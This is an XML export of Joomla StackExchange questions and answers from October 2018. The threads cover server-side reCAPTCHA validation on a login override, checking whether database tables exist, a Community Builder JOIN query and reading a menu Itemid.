  <row Id="23614" PostTypeId="1" AcceptedAnswerId="23625" CreationDate="2018-10-17T13:44:21.803" Score="1" ViewCount="751" Body="&lt;p&gt;I've set up the standard recaptcha plugin in Joomla.&#xA;I did an override of the login page and it wasn't showing the recaptcha, so I tried to add it by following the answer from these pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16078/my-captcha-stopped-working-after-upgrading-to-joomla-3-5/&quot;&gt;My Captcha stopped working after upgrading to Joomla 3.5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/12840015/how-to-use-joomla-recaptcha-plugin-to-my-custom-module&quot;&gt;https://stackoverflow.com/questions/12840015/how-to-use-joomla-recaptcha-plugin-to-my-custom-module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem is&lt;/strong&gt; that the recaptcha shows up fine, but I'm able to login without using the captcha check button / image clicking... I have figured out a way to check it before sending with jquery, but the big hurtle is that I don't understand why it is going through on the server side? should'n Joomla handle that as it's a build in plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I've put inside the &lt;code&gt;&amp;lt;form tag&amp;gt;&lt;/code&gt; (copy paste from the first link):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$captcha_plugin = JFactory::getConfig()-&amp;gt;get('captcha');&#xA;if ($captcha_plugin != '0') {&#xA;  $captcha = JCaptcha::getInstance($captcha_plugin);&#xA;  $field_id = 'your_old_and_useless_id';&#xA;  print $captcha-&amp;gt;display($field_id, $field_id, 'g-recaptcha');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I don't know what this defines? &lt;code&gt;$field_id = 'your_old_and_useless_id';&lt;/code&gt;&#xA;I've tried to look it up, but I can't really find any documentation on how to inplement the Joomla standard recaptcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really apriciate your help! thanks!!&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-10-17T18:32:18.403" LastActivityDate="2018-10-18T15:17:35.797" Title="How do I setup recaptcha on an override of &quot;default_login.php&quot;" Tags="|joomla-3.x|login|captcha|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23615" PostTypeId="1" CreationDate="2018-10-17T15:05:38.653" Score="1" ViewCount="24" Body="&lt;p&gt;I use the com_categories in my custom component based on the joomla Docs &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Categories&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need to manage the categories in the site part. I was wondering if there is an easy way to do it, or do I have to create my own categories table and create my MVC without using core categories ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-10-17T15:05:38.653" Title="Manage Categories in Site part. Is possible?" Tags="|joomla-3.x|category|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23618" PostTypeId="2" ParentId="23614" CreationDate="2018-10-18T05:49:51.853" Score="2" Body="&lt;p&gt;This won't work. View does not and cannot handle data validation. It's a task for controller/model. Login forms in Joomla! do not support plugins at the moment. There are several ways to achieve what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a custom component for login functionality and a plugin to redirect &lt;code&gt;com_users&lt;/code&gt; traffic to this component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a plugin that alters the login form and performs custom validation on login task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Use MVCOverride plugin to override &lt;code&gt;com_users&lt;/code&gt; login controller/model.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-18T05:49:51.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23619" PostTypeId="1" AcceptedAnswerId="23630" CreationDate="2018-10-18T07:19:40.160" Score="2" ViewCount="538" Body="&lt;p&gt;After a lot of struggle, I've figured out how to implement the standard Joomla reCaptcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now &lt;strong&gt;my problem&lt;/strong&gt; is the verifying of it on the server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps of the reCaptcha:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have a form with the recaptcha implemented like this &lt;strong&gt;(works fine)&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$captcha_plugin = JFactory::getConfig()-&amp;gt;get('captcha');&#xA;if ($captcha_plugin != '0') {&#xA;    $captcha = JCaptcha::getInstance($captcha_plugin);&#xA;    $field_id = 'captcha';&#xA;    print $captcha-&amp;gt;display($field_id, $field_id, 'g-recaptcha');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On submit I send an AJAX call to this url &lt;strong&gt;(works fine)&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'index.php?option=com_content&amp;amp;format=ajax&amp;amp;view=article&amp;amp;task=loginUser&amp;amp;tmpl=component'&lt;/code&gt;&#xA;It's a file I've made inside com_content &gt; views &gt; article&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The code in my &lt;code&gt;loginUser&lt;/code&gt; task / function (&lt;strong&gt;not validating&lt;/strong&gt;, see end of question)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _logInUser( $form ){&#xA;    $captcha_plugin = JFactory::getConfig()-&amp;gt;get('captcha');&#xA;    $captcha = JCaptcha::getInstance($captcha_plugin);&#xA;    $completed = $captcha-&amp;gt;CheckAnswer($form[2]['value']);&#xA;    var_dump($form);&#xA;    echo $form[2]['value'];&#xA;    var_dump($completed);&#xA;    die();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Update: I've also tried like this, still gives me &lt;code&gt;false&lt;/code&gt; when it should return true:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('captcha');&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$res = $dispatcher-&amp;gt;trigger('onCheckAnswer',$form[2]['value']);&#xA;if(!$res[0]){&#xA;    var_dump($res);&#xA;    die('Invalid Captcha');&#xA;}&#xA;var_dump($res);&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo $form[2]['value'];&lt;/code&gt; returns &quot;&quot; when captcha is not clicked and returns something like this when clicked: &quot;&lt;code&gt;03AMGVjXgaSV3U5UnezVUIFslFElvrMDe2gOVoJtEwtT9SVMaqG47cyC16CPrl01H3yKVF1y4aaBOnK-E1AeBa1H8XoBE17fN-8L3j0_W5mvO8g9kbrVg-yYEuk1B9lSTWxYfn9kf23yPTY-wlIOijh04vqBwUTLFoiTL-Jw9Ae-l2uvgVrnb1qyBrYt5dtvfRWvwbAx6h6qGXh4WBZz19eFkTv5mTmheGsp4s-5e-VtiqMEQJynNxE0fjxqQxKNyCECAK6SRbtLdZ8NTlDAG4dOd4zfb-R2aIYxwvPOxLjxrlO_5xggTOwqA&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it must be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this line always returns &lt;em&gt;false&lt;/em&gt; : &lt;code&gt;$completed = $captcha-&amp;gt;CheckAnswer($form[2]['value']);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when removing &lt;code&gt;$form[2]['value']&lt;/code&gt; in &lt;code&gt;$captcha-&amp;gt;CheckAnswer&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Warning: Missing argument 1 for Joomla\CMS\Captcha\Captcha::checkAnswer(), called in /customers/a/c/e/test-mysite.dk/httpd.www/test/components/com_content/views/article/view.ajax.php on line 35 and defined in /customers/a/c/e/test-mysite.dk/httpd.www/test/libraries/src/Captcha/Captcha.php on line 192&#xA;Notice: Undefined variable: code in /customers/a/c/e/test-mysite.dk/httpd.www/test/libraries/src/Captcha/Captcha.php on line 200&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;INFO UPDATE for future readers!:&lt;/strong&gt;&#xA;Joomla does NOT provide reCaptcha for the login form. Only for the registration and contact form. I've found it here: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=910764&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=910764&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="11451" LastEditDate="2018-10-22T23:55:26.897" LastActivityDate="2018-10-22T23:55:26.897" Title="$captcha-&gt;CheckAnswer() always returns false" Tags="|joomla-3.x|login|captcha|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23621" PostTypeId="1" AcceptedAnswerId="23622" CreationDate="2018-10-18T10:48:37.680" Score="2" ViewCount="1333" Body="&lt;p&gt;All I want to do is check if a table exists or not and I can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ($r = 0; $r &amp;lt; count($tableArray); $r++) {&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query = &quot;select * from `#__&quot;.$tableArray[$r].&quot;` LIMIT 1&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    if ($db-&amp;gt;setQuery($query) !== False) {&#xA;        $results = $db-&amp;gt;loadAssocList();&#xA;        echo &quot;&amp;lt;br&amp;gt;&quot;.$tableArray[$r].&quot;table found&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;br&amp;gt;&quot;.$tableArray[$r].&quot;table NOT found&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried to get an array of Joomla table names that I can iterate through.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array('table1','table2','table3' etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can do this with &lt;code&gt;SHOW TABLES&lt;/code&gt;, but this produces a large array of arrays each with one entry.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Solution I used:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm including what I did in the end; both answers were helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this to get the array of the tables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$results = $db-&amp;gt;setQuery('SHOW TABLES')-&amp;gt;loadColumn();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then I used &lt;code&gt;in_array()&lt;/code&gt; to find if the table I was looking for was there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = $db-&amp;gt;getPrefix();&#xA;for ($r = 0; $r &amp;lt; count($tableArray); $r++) {&#xA;    if (in_array($prefix.$tableArray[$r], $results)) {&#xA;        echo &quot;&amp;lt;br&amp;gt;Found &quot;.$tableArray[$r];&#xA;    }else{&#xA;        echo &quot;&amp;lt;br&amp;gt;Missing &quot;.$tableArray[$r];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$tableArray&lt;/code&gt; is the array holding the table names to be checked.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12352" LastEditDate="2018-10-19T01:19:13.290" LastActivityDate="2022-04-13T07:25:01.980" Title="How to check if specific table names exist in a database?" Tags="|joomla-3.x|php|mysql|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23622" PostTypeId="2" ParentId="23621" CreationDate="2018-10-18T11:48:18.310" Score="3" Body="&lt;p&gt;When using &lt;code&gt;SHOW TABLES&lt;/code&gt; load results with &lt;code&gt;loadColumn()&lt;/code&gt; to receive a simple array with table names as values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r(JFactory::getDbo()-&amp;gt;setQuery('SHOW TABLES')-&amp;gt;loadColumn());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; tbl_assets&#xA;    [1] =&amp;gt; tbl_associations&#xA;    [2] =&amp;gt; tbl_banner_clients&#xA;    [3] =&amp;gt; tbl_banner_tracks&#xA;    [4] =&amp;gt; tbl_banners&#xA;...&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-10-18T11:59:02.847" LastActivityDate="2018-10-18T11:59:02.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23623" PostTypeId="2" ParentId="23621" CreationDate="2018-10-18T13:10:42.963" Score="4" Body="&lt;p&gt;What is likely to be tripping you up is that your &lt;code&gt;$tableArray&lt;/code&gt; doesn't have prefixes.  This is evident in your query because you prepend the tablename with &lt;code&gt;#__&lt;/code&gt; in the &lt;code&gt;FROM&lt;/code&gt; clause.  The resultset will be delivering the rendered prefix with the tablename, so your input array values will not match the result set values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Important: Always try to avoid iterated database queries as a matter of best practice.  Performing multiple queries unnecessarily will result in slow page loads not to mention burden your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested the following to be successful on my localhost.  I've written this to be completely dynamic (no hardcoding the db name or table prefix).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to filter the table names in the result set, you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$results = $db-&amp;gt;setQuery('SHOW TABLES')-&amp;gt;loadColumn();&#xA;&#xA;$prefix = $db-&amp;gt;getPrefix();&#xA;foreach ($tableArray as $t) {&#xA;    echo &quot;&amp;lt;br&amp;gt;&quot; , (in_array($prefix.$t, $results) ? &quot;Found &quot; : &quot;Missing &quot;) , $t;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you can filter the result set by extending the query logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tableArray = [&quot;banners&quot;, &quot;content&quot;, &quot;cucumbers&quot;];&#xA;try {&#xA;    $db = JFactory::getDbo();&#xA;    $config = JFactory::getConfig();&#xA;    $dbname = $config-&amp;gt;get('db');&#xA;    $prefix = $db-&amp;gt;getPrefix();&#xA;    foreach ($tableArray as $t) {&#xA;        $q_tablenames[] = $db-&amp;gt;q($prefix.$t);  // prefix and quote-wrap for the query&#xA;    }&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select(&quot;SUBSTRING(table_name, 7)&quot;)&#xA;        -&amp;gt;from(&quot;information_schema.tables&quot;)&#xA;        -&amp;gt;where([&quot;table_schema = &quot; . $db-&amp;gt;q($dbname), &quot;table_name IN (&quot; . implode(',', $q_tablenames) . &quot;)&quot;]);&#xA;    // echo $query-&amp;gt;dump();    // never show to public&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $found = $db-&amp;gt;loadColumn();&#xA;    foreach ($tableArray as $tablename) {&#xA;        echo &quot;&amp;lt;div&amp;gt;$tablename table &quot; , (in_array($tablename, $found) ? &quot;&quot; : &quot;not &quot;) , &quot;found&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');    // never show actual error to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;banners table found&#xA;content table found&#xA;cucumbers table not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The reason that I am using a more verbose query is because I don't actually &lt;em&gt;need&lt;/em&gt; to extract &lt;em&gt;every&lt;/em&gt; table name from the database -- I only need the ones that exist in the array.  This is more about &quot;direct coding intentions&quot; rather than micro-optimization (which I won't bother to benchmark).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;IN&lt;/code&gt; data is prefixed because the &lt;code&gt;$tableArray&lt;/code&gt; values are not pre-fitted with prefixes.  The &lt;code&gt;SELECT&lt;/code&gt; trims off the prefixes for simple comparisons in the &lt;code&gt;foreach()&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is an alternative approach using &lt;code&gt;SHOW TABLES&lt;/code&gt; which achieves the same result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tableArray = [&quot;banners&quot;, &quot;content&quot;, &quot;cucumbers&quot;];&#xA;try {&#xA;    $db = JFactory::getDbo();&#xA;    $config = JFactory::getConfig();&#xA;    $dbname = $config-&amp;gt;get('db');&#xA;    $prefix = $db-&amp;gt;getPrefix();&#xA;    foreach ($tableArray as $t) {&#xA;        $q_tablenames[] = $db-&amp;gt;q($prefix . $t);  // prefix and quote-wrap for the query&#xA;    }&#xA;    $db-&amp;gt;setQuery(&quot;SHOW TABLES FROM &quot; . $db-&amp;gt;qn($dbname) . &quot; WHERE &quot; . $db-&amp;gt;qn(&quot;Tables_in_$dbname&quot;) . &quot; IN (&quot; . implode(',', $q_tablenames) . &quot;)&quot;);&#xA;    $found = $db-&amp;gt;loadColumn();&#xA;    foreach ($tableArray as $tablename) {&#xA;        echo &quot;&amp;lt;div&amp;gt;$tablename table &quot; , (in_array($prefix.$tablename, $found) ? &quot;&quot; : &quot;not &quot;) , &quot;found&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');    // never show to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-19T10:18:55.633" LastActivityDate="2018-10-19T10:18:55.633" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23624" PostTypeId="1" CreationDate="2018-10-18T14:23:02.323" Score="1" ViewCount="218" Body="&lt;p&gt;I'm really new to SQL queries but now stuck with this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the first and last name of a user&#xA;from table &lt;code&gt;#__comprofiler&lt;/code&gt;&#xA;where their &lt;code&gt;cb_job_role = 'Team Leader'&lt;/code&gt; and their &lt;code&gt;cb_service_name = [the cb_service_name of the currently logged in user]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, it would be great if the result could then also be a hyperlink to the profile of the person in the result too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&#xA;Joomla! 3.8.13&lt;br&gt;&#xA;MySQL 5.5.5-10&#xA;Community Builder  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated, please note I am blind and use a screen reader to access my computer so can't view images or screen shots either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- UPDATE 22/10/18 ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Database export as text, all names are fictitious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;== Table structure for table traincomprofiler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|------&#xA;|Column|Type|Null|Default&#xA;|------&#xA;|//&lt;strong&gt;id&lt;/strong&gt;//|int(11)|No|0&#xA;|&lt;strong&gt;user_id&lt;/strong&gt;|int(11)|No|0&#xA;|alias|varchar(150)|Yes|NULL&#xA;|firstname|varchar(100)|Yes|NULL&#xA;|middlename|varchar(100)|Yes|NULL&#xA;|lastname|varchar(100)|Yes|NULL&#xA;|hits|int(11)|No|0&#xA;|message_last_sent|datetime|No|0000-00-00 00:00:00&#xA;|message_number_sent|int(11)|No|0&#xA;|avatar|text|Yes|NULL&#xA;|avatarapproved|tinyint(4)|No|1&#xA;|canvas|text|Yes|NULL&#xA;|canvasapproved|tinyint(4)|No|1&#xA;|canvasposition|tinyint(4)|No|50&#xA;|approved|tinyint(4)|No|1&#xA;|confirmed|tinyint(4)|No|1&#xA;|lastupdatedate|datetime|No|0000-00-00 00:00:00&#xA;|registeripaddr|varchar(50)|No|&#xA;|cbactivation|varchar(50)|No|&#xA;|banned|tinyint(4)|No|0&#xA;|banneddate|datetime|Yes|NULL&#xA;|unbanneddate|datetime|Yes|NULL&#xA;|bannedby|int(11)|Yes|NULL&#xA;|unbannedby|int(11)|Yes|NULL&#xA;|bannedreason|mediumtext|Yes|NULL&#xA;|acceptedterms|tinyint(1)|No|0&#xA;|invite_code|text|Yes|NULL&#xA;|cb_role|text|Yes|NULL&#xA;|cb_contract_type|text|Yes|NULL&#xA;|cb_registration_type|tinyint(3)|Yes|NULL&#xA;|cb_service_name|text|Yes|NULL&#xA;|cb_team_leader|text|Yes|NULL&#xA;|cb_support_workers|text|Yes|NULL&#xA;|cb_locality_manager|text|Yes|NULL&#xA;|cb_team_worker_child|text|Yes|NULL&#xA;|cb_lhps_expiry_date|datetime|No|0000-00-00 00:00:00&#xA;|cb_test_field|mediumtext|Yes|NULL&#xA;|cb_fp_course_date|text|Yes|NULL&#xA;== Dumping data for table traincomprofiler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|------&#xA;|id|user_id|alias|firstname|middlename|lastname|hits|message_last_sent|message_number_sent|avatar|avatarapproved|canvas|canvasapproved|canvasposition|approved|confirmed|lastupdatedate|registeripaddr|cbactivation|banned|banneddate|unbanneddate|bannedby|unbannedby|bannedreason|acceptedterms|invite_code|cb_role|cb_contract_type|cb_registration_type|cb_service_name|cb_team_leader|cb_support_workers|cb_locality_manager|cb_team_worker_child|cb_lhps_expiry_date|cb_test_field|cb_fp_course_date&#xA;|------&#xA;|501|501| |Joe| |Turner|0|0000-00-00 00:00:00|0|NULL|1|NULL|1|50|1|1|0000-00-00 00:00:00| | |0|NULL|NULL|NULL|NULL|NULL|0|NULL|support_child|contract|0|NULL|NULL|NULL|NULL|NULL|0000-00-00 00:00:00|NULL|0000-00-00 00:00:00&#xA;|502|502| |Hannah|Bud|Apple|0|0000-00-00 00:00:00|0|NULL|1|NULL|1|50|1|1|2018-10-10 08:59:24| | |0|NULL|NULL|NULL|NULL|NULL|0|NULL|support_child|bank|0|Blue House Bristol|Elizabeth Small|NULL|NULL|NULL|0000-00-00 00:00:00|NULL|0000-00-00 00:00:00&#xA;|503|503| |Thomas|Orange|Hope|0|0000-00-00 00:00:00|0|NULL|1|NULL|1|50|1|1|0000-00-00 00:00:00| | |0|NULL|NULL|NULL|NULL|NULL|0|NULL|team_leader_adults|contract|0|NULL|NULL|NULL|NULL|NULL|0000-00-00 00:00:00|NULL|0000-00-00 00:00:00&#xA;|504|504| |Rebecca|Jane|French|0|0000-00-00 00:00:00|0|NULL|1|NULL|1|50|1|1|0000-00-00 00:00:00| | |0|NULL|NULL|NULL|NULL|NULL|0|NULL|locality_manager|contract|0|NULL|NULL|NULL|NULL|NULL|0000-00-00 00:00:00|NULL|0000-00-00 00:00:00&#xA;|505|505| |Charlotte|Pink|Lady|0|0000-00-00 00:00:00|0|NULL|1|NULL|1|50|1|1|2018-10-10 14:08:25| | |0|NULL|NULL|NULL|NULL|NULL|0|NULL|learning_development_team|contract|0|Blue House Bristol| |[{&amp;quot;cb_team_worker_child&amp;quot;:&amp;quot;&amp;quot;},{&amp;quot;cb_team_worker_child&amp;quot;:&amp;quot;&amp;quot;}]|Rebecca French|NULL|0000-00-00 00:00:00|NULL|0000-00-00 00:00:00&#xA;|507|507| |Blue House| |Bristol|0|0000-00-00 00:00:00|0|NULL|1|NULL|1|50|1|1|0000-00-00 00:00:00| | |0|NULL|NULL|NULL|NULL|NULL|0|NULL|services|contract|1|NULL|NULL|NULL|NULL|NULL|0000-00-00 00:00:00|NULL|0000-00-00 00:00:00&lt;/p&gt;&#xA;" OwnerUserId="12905" LastEditorUserId="12905" LastEditDate="2018-10-22T07:18:47.187" LastActivityDate="2018-11-13T18:41:44.327" Title="How to construct a JOIN query with Joomla's query methods?" Tags="|mysql|sql|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23625" PostTypeId="2" ParentId="23614" CreationDate="2018-10-18T15:17:35.797" Score="3" Body="&lt;p&gt;I cannot see how the accepted answer answers the question. So, since you are quoting from my answer on the other question, I will explain what I meant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Captcha.Captcha.html#method_display&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JCaptcha::display()&lt;/code&gt;&lt;/a&gt; function accepts three arguments: Name, ID and Class. Since Joomla 3.5, the first two arguments were rendered useless. That's why I wrote &lt;code&gt;your_old_and_useless_id&lt;/code&gt; as the &lt;code&gt;$field_id&lt;/code&gt;. &lt;strong&gt;Since it has been more than 2 years since I last checked this Joomla code, I cannot be sure that it is still useless!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, your question seems to ask if the captcha is automatically validated. It is not. You need to validate it amongst your other fields to validate. Here is the code I have used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFactory::getConfig()-&amp;gt;get('captcha') != '0') {&#xA;    $captcha = JCaptcha::getInstance(JFactory::getConfig()-&amp;gt;get('captcha'));&#xA;    $isValidated = $captcha-&amp;gt;checkAnswer('your_old_and_useless_id');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="405" LastActivityDate="2018-10-18T15:17:35.797" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23626" PostTypeId="2" ParentId="18561" CreationDate="2018-10-18T18:25:25.557" Score="0" Body="&lt;p&gt;Take a look at the JUri::delVar method:  &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Uri.Uri.html#method_delVar&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Uri.Uri.html#method_delVar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUri::delVar('testvar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worked perfectly for me :)&lt;/p&gt;&#xA;" OwnerUserId="12984" LastEditorUserId="12984" LastEditDate="2018-10-20T17:53:56.350" LastActivityDate="2018-10-20T17:53:56.350" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23628" PostTypeId="1" AcceptedAnswerId="23631" CreationDate="2018-10-19T09:10:04.343" Score="0" ViewCount="1691" Body="&lt;p&gt;I am trying to get the current itemid of an especific menu which calls a custom component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a custom component called on the menu with the url &lt;code&gt;/something&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside of the site model of my component I have this &lt;strong&gt;in my constructor&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $jinput = JFactory::getApplication('site')-&amp;gt;input; &#xA;    $uriQuery=$jinput-&amp;gt;getArray();&#xA;    //var_dump($uriQuery);&#xA;    $itemid=$uriQuery['Itemid'];&#xA;    echo $itemid; // it gives me a random id = 234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I create another menu with url &lt;code&gt;/otherthing&lt;/code&gt; and call the same custom component, with the same model, the &lt;code&gt;echo $itemid&lt;/code&gt; returns a differen random id = 132. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Where does the Id comes from?. It comes from the url?. From the menú that I create?. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="12397" LastEditorUserId="12397" LastEditDate="2018-10-19T09:42:00.613" LastActivityDate="2018-10-19T19:48:10.963" Title="How does JFactory::getApplication-&gt;input get the input id" Tags="|component|custom-component|url|jfactory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
